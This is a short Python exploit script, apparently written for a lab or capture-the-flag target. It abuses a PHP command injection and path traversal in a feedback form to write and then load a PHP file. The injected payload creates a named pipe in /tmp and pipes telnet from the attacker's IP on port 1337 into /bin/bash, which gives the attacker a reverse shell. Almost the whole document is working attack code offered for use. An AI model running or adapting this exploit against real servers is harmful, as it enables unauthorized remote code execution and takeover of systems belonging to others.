#!/usr/bin/python3

"""this particular exploit takes advantage of a php command injection vulnerability. 
However, the target machine does not have nc installed; to get a remote shell we
create a reverse TCP connection using telnet (i.e. our local machine is passive
while the target machine is active using telnet)"""

import random
import requests
import string
import sys

def usage():
    print('Usage: phpexploit.py <target host> <local IP>')
    sys.exit(1)

# create random name for FIFO pipe and filename that is created
def randstr(len):
    return ''.join(random.choice(string.ascii_uppercase) for i in range(len))

def exploit(target, payload):

    filename = '.' + randstr(8) + '.php'
    
    fdbkdata = {
        'name'      : '../../' + filename,
        'comment'   : '<? `' + payload + '`; ?>',
        'candidate' : '4',
    }
    
    requests.post('http://' + target + '/~feedback/cgi-bin/feedback.php', data=fdbkdata)
    requests.get('http://' + target + '/~feedback/' + filename)

def main():
    if len(sys.argv) != 3:
        usage()

    rhost = sys.argv[1]
    lhost = sys.argv[2]
    pipename = randstr(8)

    # target doesn't have nc; forced to do this :(
    # also, target user is www-data, only has write to /tmp dir
    payload = 'mknod /tmp/' + pipename + ' p && telnet ' + lhost + ' 1337 0</tmp/' + pipename + ' | /bin/bash 1>/tmp/' + pipename + ';'

    exploit(rhost, payload)

if __name__ == '__main__':
    main()
        
